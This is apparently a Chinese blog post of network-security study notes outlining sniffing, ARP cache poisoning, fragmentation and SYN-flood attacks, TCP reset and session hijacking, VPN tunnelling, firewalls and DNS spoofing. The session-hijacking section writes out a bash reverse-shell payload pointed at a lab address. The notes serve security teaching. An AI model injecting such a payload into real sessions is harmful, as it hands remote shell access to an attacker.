互联网安全学习笔记1

发布于:2023-01-09 ⋅ 阅读:(476) ⋅ 点赞:(0)

1. SNIFFING & SPOOFING

PACKET SNIFFING 监听

正常接收包:NIC网卡硬件判定MAC地址是否接收 - Ring Buffer - 链路驱动 - 协议栈判断是否接收包

Raw Socket:从链路层获得一copy

抓包工具:Tcpdump、Wireshark、Scapy(python库函数)

PACKET SPOOFING 伪造

正常发送包:将数据逐层加上每层协议的头部

Raw Socket:将package直接插入到某一层

攻击方法:Sniff Request & Spoof Reply

2. ARP Protocol and Attack

Network Interface

网卡NIC:物理/虚拟

虚拟NIC:Loopback Interface(127.0.0.1),Dummy Interface

以太帧Ethernet Frame:MAC Header + Payload + Checksum

安全隐患:以太帧会暴露MAC地址

ARP Protocol and Attack

将IP地址解析为MAC地址(request,reply)

ARP Cache Poisoning Attack:发送虚假地址信息(spoof)污染地址解析表

使用scapy创建:frame = ether/arp

攻击目的:MITM(Man-In-The-Middle)使得攻击者在两个对话者中间

攻击步骤:ARP Cache攻击,截获包(ip_forward),修改包(checksum)

3. IP Protocol and Attack

IP层:路由,尽力交付

Fragmentation分片

对于分片的攻击:用小包耗费服务器大量资源来处理(设置大的偏移量骗取缓冲区),The Ping-of-Death Attack构造一个大于64K的包来引起内存溢出,Teardrop Attack设置分片的重叠

Routing路由

ICMP协议:发送错误信息/操作信息

Smurf Attack发送ICMP广播通过大量回复消耗资源

通过ICMP重定向完成MITM:发送ICMP Redirect信息改变路由

4. TCP Protocol and Attack

TCP协议

端口到端口,可靠传输

实现:send/receive buffers,ack num

流量控制:滑动窗口

SYN Flooding Attack

3-way handshake三次握手:第一次握手后服务器会维持一个SYN队列,直到第三次握手的包到达后,转存入接收队列

攻击者使用随机IP地址向服务器发送连接请求,占满SYN队列空间

使用python实现时,速度是C的1/40,往往会攻击失败

如果随机的IP地址确实存在,被攻击的服务器可能会受到RST回复,导致队列

解决方案:SYN Cookie,队列快满时,不再用队列存储一次握手信息,直接记录seq数值

TCP RESET ATTACK

关闭TCP连接:RST(直接断开)或者FIN(握手断开)

攻击方法:伪造reset包(需要正确的IP和端口号以及seq号,因此往往需要监听)

TCP Session Hijacking

伪造包发送到会话中,往往将命令发给服务端

也可以发送一个seq=x+δ的包,占用receive buffer

在数据部分写入远程命令:Reverse Shell

data = "\n/bin/bash -i >/dev/tcp/10.9.0.1/9090 0<&1 2>&1\n"

注意到,攻击后会造成seq的紊乱,所以双方会持续给对方发包同时丢弃但对方发来的包

案例:Kevin Mitnick Attack

5. Virtual Private Network

功能:进入内网,翻墙

两种实现方式:SSH Tunnel(Port Forwarding)或IP Tunneling

区别在于后者直接由系统路由来分配路径

IP Tunneling的实现:IPSec Approach(内核层),SSL/TLS Approach(用户层) 

有tun/tap两种网卡实现方法

具体流程:利用Tun Interface获取package,由Tun Program将报文封装,再从Socket Interface放入IP Tunnel中,到达后同样依次经过Socket Interface,Tun Program,Tun Interface解封

6. Firewall 防火墙

方向:Ingress Firewall,Egress Firewall

功能:Packet Filter(针对每个packet,stateless),Stareful Firewall(根据多个packet),Applocation/Proxy Firewall

Netfilter Hooks

可以应用于Stateless/Stateful Firewall,NAT,Packet Modification

选项:NF_ACCEPT,NF_DROP,……

IPTABLES

用于设置防火墙,选项有ACCEPT,DROP,RETURN,LOG,Target Extension

除设置Firewall外,IPTABLE还可用于

Bypassing Firewall

通过漏洞或隧道

7. DNS and Attack

DNS Domain Hierarchy:根root—顶级域名TLD—……

DNS查询:Local DNS Server保存有DNS Cache

DNS Package格式

攻击方式:监听并伪造DNS回复,更改DNS查询的路径,污染DNS Cache

根据格式构造DNS response

伪造DNS回复时,需要通过监听获得Destination Port和Transaction ID


网站公告

今日签到

点亮在社区的每一天
去签到

热门文章